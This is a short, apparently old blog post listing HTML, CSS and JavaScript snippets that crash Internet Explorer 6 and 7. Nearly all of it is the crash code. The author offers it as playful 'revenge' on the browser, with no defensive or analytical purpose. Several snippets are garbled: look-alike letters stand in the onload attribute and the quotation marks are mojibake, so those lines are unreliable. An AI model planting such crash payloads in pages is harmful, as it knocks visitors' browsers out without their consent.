Who doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.
Here is a small non-exhaustive list of html and Javascript codes that will totally crash IE.
After all, this browser is such a pain for developers, that we have the right to avenge us from time to time;)
Let’s start with the longest of all:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html> <head> <title>CRASH-IE</title> <style type="text/css"> html, body { overflow: hidden; scrollbar-base-color: #330066; } .crash { position:absolute; left:200px; top:200px; width:200px; } </style> <script type="text/javascript"> function galgenfrist() { window.setTimeout('crashIE();',1000); } function crashIE() { var moveNode = document.getElementById("move"); if(moveNode) { moveNode.style.top = "100px"; moveNode.style.left = "200px"; } } </script> </head> <body οnlοad="galgenfrist();"> <h1>CRASH-IE</h1> <div id="move" class="crash"> <table> <tbody> <tr> <td> <textarea></textarea> </td> </tr> </tbody> </table> </div> </body> </html>
Javascript and IE6, a true love story…
<script>for (x in document.write) { document.write(x);}</script>
This one was discover last year:
<style>*{position:relative}</style><table><input></table>
Anti-IE Javascript strikes back!
<body onLoad=â€window()â€>
Now my favorite: 11 symbols and…bang
<STYLE>@;/*
This one is the only one I know which make IE7 crash:
function getX( oElement ) { var iReturnValue = 0; while( oElement != null ) { iReturnValue += oElement.offsetLeft; oElement = oElement.offsetParent; } return iReturnValue; }
Have some nice crashs
